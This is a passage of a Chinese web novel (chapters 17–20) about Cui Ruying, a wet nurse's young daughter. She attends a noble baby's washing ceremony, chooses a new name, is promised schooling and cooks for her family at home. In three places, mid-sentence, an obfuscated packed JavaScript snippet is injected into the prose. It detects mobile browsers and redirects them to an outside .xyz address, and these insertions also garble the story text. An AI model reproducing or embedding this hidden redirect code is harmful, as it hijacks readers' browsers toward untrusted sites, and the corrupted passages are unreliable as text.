崔如英道：“就跟着说说话，陪着三娘子，我一个孩子能帮啥忙，婶子你也太瞧得起我了。我觉得呀，是三娘子身边没有可以说话的人，我又爱说话，也许是因为这个才找我的。” 陈娘子点了点头，“这样呀，行吧，你玩儿去吧，婶子去睡觉了。” 崔如英冲着陈娘子笑了笑，等她绕过屏风，崔如英揉了揉脸，陈娘子那边没一会儿就想起了呼噜声。 陈娘子爱说话，嘴有些碎，年纪大的妇人，这也不算什么大毛病。 可偏偏仗着夜里喂奶，占许娘子的时辰，许娘子不好说什么，还不如白天夜里两人轮换着来。 崔如英觉得那是个雷打不动的，不过她动作依旧轻，收拾好后秋月又来送早饭了，一杯羊奶两块绿豆糕，两个巴掌大的肉饼，还有一碗鸽子汤。 崔如英慢吞吞吃完，端着托盘去了小厨房。 碗筷不用她刷，端到小厨房就行了。 院子里有些热闹，燕归堂的丫鬟们手里抱着托盘，不知道往哪个方向去。 才来几天，很多人崔如英都面生，就认得李嬷嬷，大丫鬟锦月，还有帮衬许娘子她们、偶尔来送饭的竹月秋月。 这般忙碌。 崔如英突然想起，今天是小公子出生的第三天，侯府肯定要办洗三礼。 崔家孩子多，孩子越多家里越穷，不管是因为长得好看颇受疼爱的崔如英，还是四郎五郎，都没办过洗三礼。 甚至连满月都没大办过。 六丫满月那天还是刘婶儿记着，过来送了六个鸡蛋。 崔如英也没跟谁打听过侯府的事，但看一大早就这么多人准备，想来陆云蓁生了小公子，侯府上下都很欢喜。 那日得喜钱，秋月说是夫人给的，钱夫人应该很看重这个孙子。 大房二房总不至于这么多年都没孩子，钱夫人看重，要么前头的两房不是她所生，要么生的是孙女。 崔如英一个孩子，也帮不上什么，刚要回屋，就听李嬷嬷叫她，“崔小娘子！” 崔如英回过头，“嬷嬷，可是三娘子叫我。” 李嬷嬷道：“今儿小公子洗三，崔小娘子一会儿也去沾沾喜气吧。” 洗三礼在正院办，可见一斑。 如今未立世子，府上依旧是她管家，只不过年纪大了，家中琐事就交给了身边的管事嬷嬷，偶尔让几个儿媳妇操持。 小公子的洗三礼要请福泽深厚德高望重的老人主持，过来的宾客还要添盆呢，燕归堂的丫鬟就是去正厅准备洗三的洗澡水和宴席。 毕竟小公子是三房的，燕归堂丫鬟们也上心。 这是热闹事儿，丫鬟们都去看热闹呢，让崔如英同去是陆云蓁特意嘱咐的。 崔如英大大方方道：“行，什么时辰呀，是不是得中午，中午暖和些。” 如今三月中旬，草长莺飞天气渐暖，不过刚出生的孩子，还是得谨慎些。 李嬷嬷笑了笑，“没错，到时崔小娘子就和三娘子同去。” * 陆云蓁还在月子中，吹不得风，中午过去的时候从头到脚都包裹得严严实实，这个时节还披着冬日带毛的氅子。 孩子一早就由丫鬟和奶娘抱到正院去了，崔如英没乱走，也没乱跑，就跟在陆云蓁身边。 陆云蓁拉着崔如英的手，细心叮嘱，“一会儿到了正院，我们先去给夫人请安，夫人若是问你你就答，其他人不必理会。” 崔如英点了点头，又问陆云蓁：“三娘子冷不冷？” 崔如英年纪小火力旺，热源顺着两人握在一起手传到陆云蓁身上。陆云蓁摇摇头，“穿得多，而且你手也热，我还觉得热得慌呢。” 崔如英满意地笑笑，“那就行。” 到了正院，楚庚元也在，陆云蓁先带着崔如英去请安，钱夫人道：“还坐月子呢，快起来。” 小公子在偏房，这会儿由奶娘照料。 钱夫人让陆云蓁坐下，又看向崔如英说道：“这就是你说的那奶娘的女儿吧，是个美人胚子。” 钱夫人完全是看在陆云蓁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660129|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面子上，她冲崔如英招招手，然后从头上摘了根珍珠金钗，她这个岁数首饰大多华丽老成，给崔如英戴并不合适，索性就放到了崔如英手里。 这个是真不能要。 崔如英把手背到身后，推脱道：“夫人，我跟我娘过来就是为了照顾小公子，这个断不能收的。” 钱夫人原本，只是看在陆云蓁的面子才给了见面礼，可是崔如英个头也就六七岁的样子，却一点都不怯生，口齿伶俐，说话声音清脆跟黄鹂鸟似的好听，更显模样好看，钱夫人就多了两分真心，“给你你就收下。” 陆云蓁笑着道：“收着吧，长者赐不可辞。” 是一般孩子她也不会带过来，崔如英懂事儿明事理，只会给她长脸。 崔如英道：“多谢夫人。” 钱夫人道：“也是个可人，看来是爹娘教养的好。” 陆云蓁笑了笑，“我想的和母亲一样呢，孩子还小，能耳濡目染，长大懂事些，做父母的也能少操心。” 钱夫人算是给陆云蓁吃了颗定心丸，“二房如今没顶立门户的，你好好教养，日后侯府门楣，都得你们三房担着。” 说完这句，正院的丫鬟进来道：“夫人，三娘子，吉时到了，宾客们都在正厅等着呢。” 钱夫人欣慰一笑，“走吧。” 陆云蓁朝着崔如英招招手，她今儿也是观礼。 不仅钱夫人重视此事，连安定侯也重视，长房孩子不少，可嫡出孙子这还是头一个。 洗三安定侯请了不少同僚，钱夫人的娘家、交好的世家夫人也都来了。 丫鬟们备好了洗澡水，紫檀木的澡盆已放好了温水。 正厅摆好了茶点椅子，先来的宾客就直接添盆了。 添盆有祝福之意，像普通人家，投几枚铜钱就聊表心意了。但是来安定侯府的都是贵客，家世显赫不说，跟安定侯府交情也不错，有往水里投玉把件的，有投玉观音的，有投金镯子的。 楚庚元准备了一个竹子翡翠挂坠，陆云蓁给的是早给孩子准备的玉佩。 崔如英跟在陆云蓁后面，她身无长物，但心意嘛，就把那日给的喜钱二两银子放了进去。 若是女孩子，她肯定放珍珠簪子了，可男孩子，只能放银子了。 正巧许娘子也抱孩子出来了，看见崔如英也在她还愣了愣，三丫怎么也在这儿？不过今儿人多，宾客如云，丫鬟也不少。 添盆过后吉时也到了，安定侯今日穿的极其郑重，他拱手对宾客道：“多谢大家百忙之中来观礼，今日是我孙儿璋哥儿的洗三礼，请郑国公夫人来主持，只盼他日后能长大成人，振兴门楣。” 安定侯说完，陆云蓁怔住了，她看了眼楚庚元，孩子才出生第三天，名字一直未取，问楚庚元只说不急，却没想到公爹在这样的场合给起了名字，还是璋这样的字，可见寄予厚望。 楚庚元拍了怕陆云蓁的手，虽未说话，却也是无声安抚。 崔如英人小也看不见大人的脸色，她的确有些羡慕，还是有个名字好呀，她现在还叫三丫呢。 总不能一辈子都叫三丫吧。 后头看着郑国公夫人给璋哥儿洗了洗，然后就由许娘子抱回去了。 安定侯府备了席面，陆云蓁还在月子中，洗三礼结束就回燕归堂了，崔如英不在乎席面，脑子里反倒一直记着名字这事儿。 陆云蓁看了她几眼，“怎么了，是不是饿了，不然让李嬷嬷带你去吃席？” 崔如英摇摇头，“三娘子，我能不能请你帮个忙。今日我看见小公子有祖父起了名字很是羡慕。我如今名字叫三丫，但是早些年我大哥念书，听他读过《诗经》，其中有两句话记忆颇深，有女同行，颜如舜英。我也给自己起了个名字，如英，三娘子，你能不能说与我娘听。” 18. 第十八章 读书 “如英，”陆云蓁念了一遍，后来在心里又连着崔如英的姓，一起读了一遍，崔如英，倒是朗朗上口，是个好名字。 许娘子从前做过奶娘，家里应该是过过一阵有钱日子的，家里孩子能读书倒也不稀奇，只不过那会儿崔如英才几岁，竟然还记得《诗经》里的一句诗。 陆云蓁只觉得稀奇。 而崔如英请她帮忙之事，算不上为难，但陆云蓁顾虑多些，让她和许娘子说这事儿，她觉得有些不合适。 就拿改名字的事来说，在侯府这样的地方，多是当主子的给丫鬟改名字。 再者说了，名字不管好不好听，都是长者给起的，她哪里好做主改许娘子起好的名字。 把名字改成如英的确是好听，就怕许娘子多想。 陆云蓁心里突然有了个主意，她拉着崔如英的手问道：“那你可还记得别的诗句，可知如英二字是什么意思？” 崔如英道：“英，华也，华是花的意思，我记着的还有一句叫落英缤纷，诗经中带如英二字的也有，‘彼其之子，美如英’，其余的我就不记得了。” 改名字的事崔如英其实想过去求许娘子，只不过家里都是这样的名字，两人起名字时依着“贱名好养活”，六个孩子也就这么叫下来了。 来侯府许娘子就千叮咛万嘱咐了，不能生别的心思，若是知道她想要改名字怕是要多想。 许娘子怕崔如英生出飞上枝头的心。 陆云蓁倒是有些惊喜，她道：“你能记得这些已经很不错了，如英这两字甚好，这个忙我答应帮你，不过不能现在就和你娘说。” 崔如英刚一喜，神色又顿住了，这是为何？ 陆云蓁耐心解释道：“私下里我可以叫你如英，你记性好，也有悟性，你可知女子也该读书识字的。二房的女儿今年六岁，现在在府里的学堂读书，长房的女儿也要启蒙，我想让你到时候跟着一块儿去念书，这名字可以让学堂先生帮你改，也算师出有名。” 师者，长也，改名字也合乎情理。 比起答应改名字的事儿，更让崔如英惊喜的是能去读书。且不管能不能赚钱，家境如何，在这个时代女子读书可不是件容易事儿。 崔如英道：“多谢三娘子！三娘子大恩我没齿难忘！” 陆云蓁笑道：“你不必急着谢我，牵个线而已，读书是为了你自己读的，万不可懈怠。” 她也有自己的打算，这读了书和不读书自然是不一样，崔如英聪慧，读书又能明理，她身边一个奶娘的女儿都知书达理，对她也是有助益的。 陆云蓁道：“这哪里算什么大恩，你帮我的才是大恩情呢，你若想感激，就好好读书，争取比长房二房的姑娘们还厉害。这女子虽不用考状元，但读书识字也是要紧的。” 两人一边走一边说话，这回到燕归堂，陆云蓁就直接回正屋了。 崔如英是真的感激，心里一跳一跳的，她上过学，好好读书还不容易。 回了厢房，一进去便听鼾声如雷，陈娘子还正睡着。 这会儿也到了吃中午饭的时辰，等了一会儿秋月进来送饭，陈娘子咕噜一声爬起来，“秋月姑娘，我肚子也饿了，顺便吃点儿吧。” 当奶娘的自己肚子饿了奶水就不足，秋月原以为陈娘子怎样睡到傍晚，这会儿醒了自然要去拿饭。 等吃过了饭，陈娘子又睡下了，崔如英原以为她今儿还回家，却不想没有。 而且陈娘子今儿醒得早，吃过晚饭，时间一到就去换许娘子了。 许娘子回来的时候还和崔如英说，“你看我说得不错吧，这人都有有事的时候，哪能日日那么准时，今天不就挺好。” 崔如英笑了笑，“娘说得是，陈婶子也挺和善的，娘，累了一日，快吃饭吧。” 和善不见得，这人做奶娘久了，圆滑得很。 有人两天晒网还打三天渔呢，哪儿能日日都迟。若真那样，不说许娘子不愿意，在东屋帮忙看着的秋月也不会放任不管。 迟两日好两日，可本来就该准时的事儿，许娘子现在却高高兴兴的。 活像准时过去是恩赏一般。 许娘子乐得与人为善，不愿意听崔如英说人坏话，崔如英就不说给她听。 许娘子累了一日了，今儿洗三，府里人多热闹，她抱着璋哥儿去了不少地方。 等吃完饭，崔如英把珍珠金钗给许娘子了，“我和三娘子去的正院，这是夫人给的见面礼，三娘子说长者赐不可辞，女儿就没有推脱，东西太贵重了，还是放娘这儿吧。不过洗三我给添盆了，那日二两银子喜钱，全放进去了。” 她啊，现在没钱了，就剩十一文。 东西过于贵重了，家里这么多年，都没有见过一块金子。 许娘子想还回去，可大户人家，给都给了，哪里还得回去。 看着女儿的面庞，许娘子只能点点头，“娘给你收着，若日后真的给你了，就留给你做嫁妆。” 崔如英明白许娘子的小心翼翼，但她觉得，早晚有一天，崔家也能有钱。 不会像今日一样，别人送的东西都不敢收。 许娘子累了一日，崔如英催她早些睡觉。 临睡前崔如英道：“娘，我打算明儿再回家一趟，顺便在家里住两天，估计到时候爹也把屏风做好了，正好送过来。” 陆云蓁坐月子呢，她不用日日都在这儿，许娘子白日看孩子去，崔如英大多时间都是在屋里。 她想回家看看。 其实侯府再好，也不如自家自在，崔如英觉着，她在侯府顿顿有肉，但崔大山他们在家里肯定不会乱花钱，也该改善改善伙食。 许娘子困意涌了上来，却还在絮絮叨叨，“明儿回去也成，别再让三娘子叫车夫送了。告诉你爹，院里的小白菜该栽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660130|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，给喂六丫的人家再拿点东西，别小气了。趁天气好，把家里的被褥晒晒，鸡笼子得撒些石灰水……” 许娘子的声音越来越小，崔如英趁着外面的月色，仰头看看许娘子，许娘子已经睡着了，眉尖有缕倦色。 崔如英伸手把许娘子的眉头抚平，轻声道：“知道了，娘，快睡吧。” 次日一早，崔如英跟许娘子一块儿起的，吃过早饭，留了杯羊奶和两块点心，羊奶正好带回去给六丫喝，点心她路上吃。 城南城北远着呢，走回去也要好久。 许娘子嘱咐好几遍，记着路，莫要乱跑，崔如英再三保证记在脑子里了，许娘子才去东屋。 等到辰时，崔如英就去正屋找李嬷嬷说回家的事儿，“嬷嬷，我还想在家住两天。” 看崔如英一脸乖巧，李嬷嬷道：“我进去问问，看看三娘子今日用马车不，不用的话就给你送回去。” 陆云蓁还在月子里，大概率是不用的。 反正也空着，送个孩子顺手的事儿。 崔如英声音脆甜，“李嬷嬷，就不用马车送了，我今儿走回去吧。再说了，日后回去的次数多，也不能日日都送，我得认认路。” 李嬷嬷道：“这……” 崔如英道：“嬷嬷，我知道不与陌生人搭话，也不乱跑乱看，谁给钱我都不要，直到安然回到家中。” 李嬷嬷笑着点了点头，“那好，可一定得小心仔细些。” 崔如英回屋收拾东西，陈娘子也回来了。 陈娘子连着打了两个哈欠，看崔如英收拾东西，道：“三丫也要回家呀？” 崔如英笑了笑，“婶子你也回去？” 陈娘子：“离得近，就想回去看看，家里放心不下。” 崔如英东西已经收拾好了，奶给六丫带着，两块点心也装上了，“婶子你可真好，自打三娘子生了小公子后，我娘还没回去过呢，成天不放心我妹妹。” 陈娘子脸色微变，很快又笑了笑，“哎，那可不是，谁能放心家里孩子。咳，我这每回回去也是因为放心不下家里闺女，才那么大。” 崔如英说这话是不经意说出口的，因为每次回家，许娘子都嘱咐好几遍，看看六丫好不好。 陈娘子的孩子也是刚出生，她就理所当然地觉得她回去必然是喂女儿，可刚刚陈娘子神色不对。 崔如英以前什么东西都卖，所以擅长察言观色，陈娘子刚的神色分明是诧异和不屑，她留了个心眼，面上冲陈娘子笑笑道：“婶子跟我娘一样，时辰不早了，婶子忙了一晚上，快睡吧，我先走了。” 陈娘子哎了一声，“你一个人回去可得慢点儿。” 出了侯府，崔如英是按着当初来城北的路往回走的，她一边走一边想，五郎跟六丫差了两岁多，五郎早就断奶了，这会儿能走能跑。 陈娘子的儿子跟她女儿又差多少岁呢？ 19. 第十九章 齐头并进 心里有疑惑，自然得打听了才能清楚，不过今儿崔如英肯定不会乱走，她着急回家，怕羊奶捂坏了，一会儿走一会儿跑，走到半路肚子饿了就把点心吃了一块，剩下的一块带回家了。 虽然说什么都不带回去也成，但是一块点心四郎五郎能被她支使两天。 回到家已经快过辰时了，没办法，人小腿短走得慢，在门口崔如英大喊了一声爹，崔大山正在井边刷竹屉，抬头时脸上满是笑容，“三丫回来啦！咋又回来了？” 崔如英：“想家了就回家看看，这回打算待两天，爹，屏风做好了吗？” 崔大山搓搓手，“已经打好了，昨天刚刷的漆，得晒个两天散散味儿。吃饭了吗，锅里还有包子呢，灶膛里也有红薯。” 崔如英：“吃啦，大哥二姐呢，我给六丫带了壶羊奶。” 崔大山道：“抱着喂奶去了，找了两家，早上喂一回晚上喂一回，都拿了鸡蛋和包子。” 一个人去不放心，就都跟着去了，离得远，这会儿还没回来呢。 家里就崔大山一人，四郎五郎不必说，肯定出去玩了，崔如英在家里转了一圈儿，鸡仔崔大山已经给放外面笼子里养了，长大了不少，还是十二只，小白菜也栽了。 家里的事也不是事事都用许娘子嘱咐。 不错不错，家还是那个家。 她又掀开锅盖，里面留了两个包子，还有好几个红薯。 崔如英吃过早饭了，不想吃包子，她道：“爹，我可回来一趟，是不是得吃点好的呀。” 崔大山觉得现在吃的就挺好，早上包子剩四五个就不卖了，带回家吃。肉包子也是肉，家里现在顿顿有肉，那还等着吃啥。 崔大山比许娘子更会过日子，他自己都不吃肉包子，总吃馒头，但给许娘子和孩子还是很舍得的。 不过家里也吃够了，啥好东西也不能天天吃，原来早上一人一个都不够吃，现在掰着分半个，就去吃烤红薯了。 崔如英把手一伸，“爹，给钱，我买肉去。” 崔大山从怀里摸铜板，“咋又买肉，家里天天有肉，侯府吃的不好咋地。” 崔如英道：“吃的当然好了，我是好了可你看大哥二姐，还有四郎五郎，都长个子呢，成天吃蒸红薯能成吗。” 崔大山数了十八个铜板，崔如英道：“多给点儿，我在侯府新学了菜式，没准儿能加到包子摊儿上。” 崔大山又数了十八个，要是买五花肉，三斤得三十六文。 也是赚钱了，不然崔大山舍不得给，现在一天稳妥卖十二屉包子，有时卖得快有时卖得慢，剩四五个就带回来，从十四到今天除去下雨那天有五天，赚了一吊二百多文钱。 想肉吃就吃点儿。 不过崔如英今天不打算买五花，刚吃的红烧肉，家里可以炖只鸡，放土豆子，做个小鸡盖被。 一斤鸡肉几文钱，买个四五斤的，还能捞点小钱。 许娘子坐月子的时候，隔两三日家里就炖一只鸡。但是崔大山手艺不好，为了滋补都是清炖，炖出来油多，崔如英偶尔吃几口，都是当水煮鸡肉吃的。 崔如英打算今天炖鸡的时候放几个辣椒，这样更入味儿。 街上就有活鸡卖，崔如英跑街上去，挑了个四斤八两的小公鸡，一斤鸡肉七文钱，讲价只要了三十三文。 剩下三文钱就进她口袋了。 鸡是活鸡，活蹦乱跳的，摊主给绑了翅膀，崔如英提着鸡回去了。 回到家崔大山一脸诧异，“咋买了只鸡，没买肉？” 崔如英道：“鸡补身子嘛，爹，你们这些日子辛苦了。我下厨做顿好饭，好好犒劳犒劳你。爹，一会儿我再给你捏捏，保准舒舒坦坦的。” 崔大山一听这话，也不好指责，把刷好的竹屉晾上，然后把鸡接过来，“我杀鸡去。” * 崔大郎和二丫回来的时候就见崔大山在院子给鸡拔毛，家里没这么大的鸡，肯定是买的。 崔二丫福至心灵，“爹，是不是三丫回来了！” 家里除了崔如英，没人敢跟着大人要肉吃，崔家在京城也没啥亲戚，更不会有人过来做客，所以只能是三丫回来了。 崔大山点点头，“嗯，你妹在屋里呢。” 二丫赶紧往屋里跑，看见崔如英在厨房翻箱倒柜，不知道忙活啥，“咋回来了？” 崔如英抬起头，大郎怀里抱着娃，她把手里的活放下，看了眼六丫，许是因为找人喂了奶的缘故，也就两天，看着胖了不少。 崔如英摸了摸六丫的手，“回家看看六丫，我央着爹买了只鸡，咱们中午吃炖鸡。姐，家里还有玉米面不，找半天没找着，中午就不吃米饭了，吃二合面饼子。” 二丫二话不说就去翻玉米面，少年话更少，只说了句三妹回来了，就把六丫抱进屋。 崔如英道：“大哥，我给六丫带回来瓶羊奶，桌上还有块点心。” 崔大郎点点头“哎。” 他把妹妹放床上，却没动点心，打算给弟弟留着。 二丫虽然也不咋说话，但崔如英能感觉出她高兴来。 玉米面找好，二丫问：“还需要啥，用我干啥不？” 二丫还记得那日吃的红烧肉，一块一块肥而不腻，好吃得很。她很想吃鸡肉，比红烧肉更想吃，许娘子坐月子的时候每每给她，她都摇头不要。 可许久不吃肉，哪里是真的不想吃。 崔如英要做的叫小鸡盖被，鸡肉土豆炖一锅，然后玉米面和白面揉成面饼，盖在锅里。 小火慢慢炖，鸡肉的油脂和肉香，最后都煮进面饼里了。 上次炖肉还剩些香料，糖后来又买了，倒是不缺什么。 崔如英道：“一会儿把鸡肉切成比上次红烧肉稍微大一点的块儿，切完揉面吧，姐，多揉一会儿，面才劲道，吃饭七个人，得跟锅这么大，被子似的。” 二丫点点头，崔大山把鸡收拾好了，她闷不吭声地剁鸡块儿，剁好就揉面，安安静静的。 崔如英撸起袖子，鸡是她提回来看着宰的，新鲜得不得了，不用焯水。小公鸡虽然也肥，可不似五花肉那么肥腻，所以也用不着煎。 糖色崔如英上次炒过，二丫一边揉面一边看着，鸡块下锅，油碰到水劈里啪啦地响，鸡块上了色，早就切好的土豆也都倒了进去。 然后就是家里的小葱，一盆小白菜，接着是干辣椒，大蒜瓣和姜片，盐糖酱油，还有两小勺白糖。 这勺白糖和炒糖色的糖不一样，是增鲜的。 把调料都炒进去后，崔如英去炉子上拎热水，二丫手上都是面，她就踩着凳子直接把水倒了进去，水没过鸡肉，灶膛里火苗跳跃，没一会儿锅就开了。 二丫问崔如英：“这么大行吗？” 二丫揉了半天面，面的确劲道，她得很用力地擀，面饼有她半指厚，占了整个面板子。 家里是大锅，正好能把鸡肉给盖上。 崔如英点点头，“姐，你跟我一块儿把面盖上去。” 小鸡盖被，就是这个意思。 小鸡在里面，被子在外面，正好吃一锅出。 二丫点点头，姐妹俩把面饼铺在锅里，面折翻起来的地方崔如英用铲子弄了弄。 锅是沸着的，不一会儿面饼就被汤中的气泡顶的鼓起来了。 崔如英这才把锅盖盖上。 鸡肉炖得时间久，就越入味越香，崔如英抽了点柴火出来，就让锅这样慢慢炖着。 二丫看了几眼，回屋看着六丫。 等到中午，外面的孩子开始往家跑了，四郎五郎抓虫子回来，二人闻着巷子里的香味，忍不住吸吸鼻子。 家里天天都能吃上肉，他们已经已经不那么馋肉了，可是离家越近肉味越香，进了家门，跟掉进肉堆似的，烟囱还呼呼冒着烟，就是他们家在做肉。 两人机灵得很，四郎一进门就看见崔如英坐着烧火，他把竹篓子放地上，“三姐你可回来了，我想死你了！三姐，我来烧！” 五郎也喊着三姐，崔如英皱着眉道：“一身土，赶紧洗洗去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660131|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 四郎知道崔如英爱干净，拉着弟弟去洗手洗脸，崔大山在院子里摆活屏风，三丫说了，后天顺便把屏风给拉去。 正午时分，四郎和五郎已经在锅旁等着了，上次尝了肉，这回也念念不忘。 崔如英算着炖了有一个时辰了，就揭开锅盖看了看。 最上面的饼子已经熟透了，放上去时是白面和玉米面掺在一起的淡黄色，如今已被汤染成了浅褐色。 她用筷子撕了小块尝了尝，面饼筋道入味，入口是咸辣味儿，细嚼嚼带着一点玉米的香甜。 二丫问：“好吃吗？” 崔如英撕了小块放二丫嘴里，四郎五郎已经张好嘴等着了，“姐，姐！” 崔如英给他俩嘴里一人放了小块饼，四郎眼睛一亮，五郎被烫得直跳，却也舍不得吐。 崔如英：“慢点吃。” 她又挑了块鸡肉和小块儿土豆，鸡肉已经脱骨了，家里养的鸡骨头是空的，连骨髓都炖到了汤中。 鸡肉筋道有嚼劲，崔如英尝了一口，肉比土豆更入味儿，咸辣鲜香。 “差不多了，招呼爹和大哥吃饭了。” 一大锅连饭都不用煮，像大锅菜却和大锅菜不一样。 崔如英看还有不少汤呢，就加了两把柴，收了收汤，没一会儿饭菜就端上桌了。 因为锅大被子大，崔如英把面饼用铲子切成了巴掌大的小块儿。 屋里都是肉香，六丫也开始哭闹。 二丫道：“我去喂喂，三丫不是带奶回来了吗。” 崔如英点点头，给二丫捡了几块鸡肉和土豆，饼子也留了两块。 家里人多吃饭不能谦让，崔如英自己夹了个鸡腿，在又舀了两勺汤，鸡皮软糯弹牙，辣味又开胃，四郎五郎吃得头都不抬。 崔大山觉得今儿光吃饼子就够了，这饼子泡过肉汤是真的香，家里有钱的时候，崔大山还下过馆子，他觉得比馆子里的菜还要好吃。 自己炖了也有百八十只鸡了，不及这个一半儿。 屋里二丫也把妹妹哄睡着了，出来一看碗里有饼有肉，忍不住笑了，“一大盆呢，还用给我留着。” 她咬了口肉，鸡肉被炖得紧实，外面裹了一层浓稠的汤，吃起来肉劲道水润，汤里除了肉香，还有粘稠的细粉，看着被炖小了的土豆，应该就是土豆糊糊。 二丫不禁道：“三妹做的真好吃。” 崔如英道：“我在侯府吃过一次，然后就想着回来给你们做，爹，你们在家摆摊儿辛苦，也得吃点好的。” 鸡腿好吃，土豆也好吃，崔如英把肉拆下来，土豆碾碎，全放在饼上，这样卷起来慢慢吃。 “不过也是因为赚了钱，要是没钱，咱们家吃不上炖鸡。”崔如英道，“爹，大哥，你们在家好好包包子，我和娘在侯府，也会照顾好小公子的。咱们一家齐头并进，日子才能越来越好。” 卖包子是赚了些钱，但不能安于现状。 崔大山道：“现在早起卖包子，回来刷刷洗洗买东西，下午补一个时辰觉，剩下就没别的事儿了。三丫，所以我打算再接点木工活。” 街坊邻居谁家打东西，他能做。 多做几件，就能多吃几顿肉。 看孩子吃肉这么香，崔大山心里怪不好受的。 崔如英道：“爹，木工活太累人了，你说咱们家包子卖得这么好，为啥不晚上也卖包子。” 崔大山道：“早晨多是运河码头的工人买，家里来不及做饭，吃饱点有力气，晚上都回家吃，哪里还会买包子。” 崔如英：“那是因为城南的人都穷，爹，假如我们走街串巷去城西城东卖，亦或是去城北，想来也会有人买的。” 陈娘子家就住在城东，看衣着打扮，都比城南的有钱，有钱人哪儿差几文钱买几个包子吃。 吃饱和吃好是两码事儿，每种东西都有固定客群的。 崔如英道：“爹，可以做些别的包子啥的，我先去试试。” 生煎水煎都行，崔如英正好想去城东看看。 20. 第二十章 打听个人 二丫把碗放下，“爹，我能跟三丫一块儿，晚上就让大哥带六丫去喝奶。” 二丫不在乎赚不赚钱，反正赚了也不给她，她就是想帮衬家里。 妹妹这么能干，而且爹娘大哥都累，多个人能多赚点儿。 崔大山啃了口饼子，皱着眉道：“这事儿是不是得跟你娘商量商量？” 虽是家里的顶梁柱，也疼孩子，但是大事上，他还是不敢做主。崔大山也不怕别人笑话，家里连卖几屉包子都是许娘子拿主意的。别看赚了钱，可每日赚的花出去的，崔大山都让崔大郎记上，自己是一文都舍不得花。 这么大的事，许娘子得知道。 “爹，这还用跟娘说呀，等我回去再告诉娘不就成了，咱们在家又没闲着，也没乱花钱，娘知道了肯定不会说什么的，反而看咱们为了家里这么奔波劳累，心疼高兴呢。”崔如英又道，“我是觉得爹和大哥做木工活辛苦，而且咱们家这包子摊现在只卖酱肉包子，时间久了客人也会腻，没准儿生意就不如现在好了。” 一听生意不如现在了，崔大山觉得天都要塌下来了，许娘子做奶娘是有时候的，家里就指望卖包子赚钱。 崔如英继续道：“不过要是能多来几样，到时候赚的银子多了，没准儿盘个小铺子，不用像现在这么辛苦。” 真等生意做大了，还用发愁银子吗。 崔大山道：“那下午再蒸两屉去卖？” 崔如英把最后一口饼子吃完，“爹，我和二姐弄吧，我俩就挑扁担去，先少做点试试看。” 崔大山道：“是不是又得买肉，我给你拿钱。” 崔如英打算今天先试试生煎包，做好之后用担子挑到城东去卖，也别做太多，万一卖不出去还得亏钱。 “爹，给我拿二十文就行，面就先用家里的。” 生煎包和水煎包还不一样，水煎包发面就成，荤素都能做馅儿，外壳酥脆内里绵软，而生煎则是死面。 薄和劲道是生煎皮的特色，只要一张薄薄的包子皮，把肉馅儿和汤汁全包裹在里面。 还有不同便是生煎包汤多，仅仅靠花椒水不够，还得熬猪皮冻，这样才能做到一咬就爆汁。 刚做好的生煎包哪怕拿出来放了一会儿，外面虽凉了可里面还烫着，得先咬皮再慢慢喝汤，所以肉馅儿要鲜足够美才行，不能做成酱肉包那样，咸甜口的肉馅反而喧宾夺主。 二丫连觉都不睡了，直接端面盆去和面。 四郎也自告奋勇来烧火，崔如英道：“今儿不用发面，二姐，我先去买肉，你揉面就行，千万别放老面，不能发，多揉揉，揉完盖盖子醒着就行了。” 崔如英只打算买两斤肉试试水，“三斤多面就行了，这回包子皮儿薄。” 已经是下午了，崔如英也不知道肉摊上还有没有肉，她小跑着过去，赶过去时肉已经所剩不多了。 崔如英要了两斤肉，另外的问老板要了一小张猪皮。 崔家常来买肉，小块猪皮没要钱。 崔大山今天给的，还剩两文，加上昨天和以前的，她都有九文钱了。 回到家崔如英先把猪皮洗干净，拿着砂锅熬起了猪皮冻。案板上猪肉先是变成小块，又变成了肉馅儿。 猪皮冻熬得有些慢，小块小块熬化之后颜色莹润，有些像带着杂质的玉石，只是天气温暖，尤其是下午太阳晒着，也冻不成冻。 崔如英让四郎打了几桶井水上来，井水冰凉，把熬好的皮冻坐在里面，勉强能做成。 猪肉馅儿，猪皮冻，细碎的姜末和花椒水，一样一样放进去，打馅儿的手法和做酱肉包大差不差的。 二丫是会做酱肉包的，看着崔如英这样做不由问道：“不放葱吗？” 二丫趁崔如英买肉的时候都把葱切了，怎么不放了？ 崔如英笑了笑，买了个关子，“现在不放，一会儿有大用处。” 馅儿好了，面好了，剩下就差包了，崔家包子卖得好，一是因为好吃，二是因为包子大。但这回崔如英让二丫揪小剂子，这包子包出来，差不多跟崔如英手掌一般。 她人小手也小，包子显得小巧玲珑的，崔如英包了几个给二丫看，十几道褶儿捏在一块儿，最好用力压一下，“姐，一定给捏严实了。” 